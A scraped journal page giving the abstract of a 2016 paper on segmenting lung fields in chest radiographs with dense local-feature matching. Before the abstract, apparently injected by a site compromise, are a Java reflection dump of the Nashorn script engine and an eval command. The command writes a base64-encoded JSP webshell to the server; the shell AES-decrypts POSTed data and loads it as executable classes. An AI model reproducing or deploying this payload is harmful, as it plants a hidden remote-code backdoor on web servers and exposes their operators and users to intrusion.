public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2016, Vol. 36 ›› Issue (01): 61-.

Previous Articles     Next Articles

Automatic segmentation of lung fields in chest radiographs based on dense matching of
local features

  

  • Online:2016-01-20 Published:2016-01-20

Abstract: Objective Accurate segmentation of lung fields in chest radiographs (CXR) is very useful for automatic analysis of
CXR. In this work, we propose to use dense matching of local features and label fusion to automatically segment the lung
fields in CXR. Methods For an input CXR, the dense Scale Invariant Feature Transform (SIFT) descriptors and raw image
patches were extracted as the local features for each pixel. The nearest neighbors of the local features were then quickly
searched by dense matching directly from the whole feature dataset of the reference images. The dense matching included
three steps: limited random initialization, propagation of nearest neighbor field, and limited random search, with iteration of
the last two steps for several times. The label image patches for each pixel were extracted according to the nearest neighbor
field and weighted by the matching similarity. Finally, the weighted label patches were rearranged as the label class probability
image of the input CXR, from which thresholds were obtained for segmentation of the lung fields. Results The Jaccard index of
the proposed method reached 95.5% on the public JSRT dataset. Conclusion A high accuracy and robustness can be obtained
by adopting dense matching of local features and label fusion to segment the lung fields in CXR, and the result is better than
that of current segmentation method.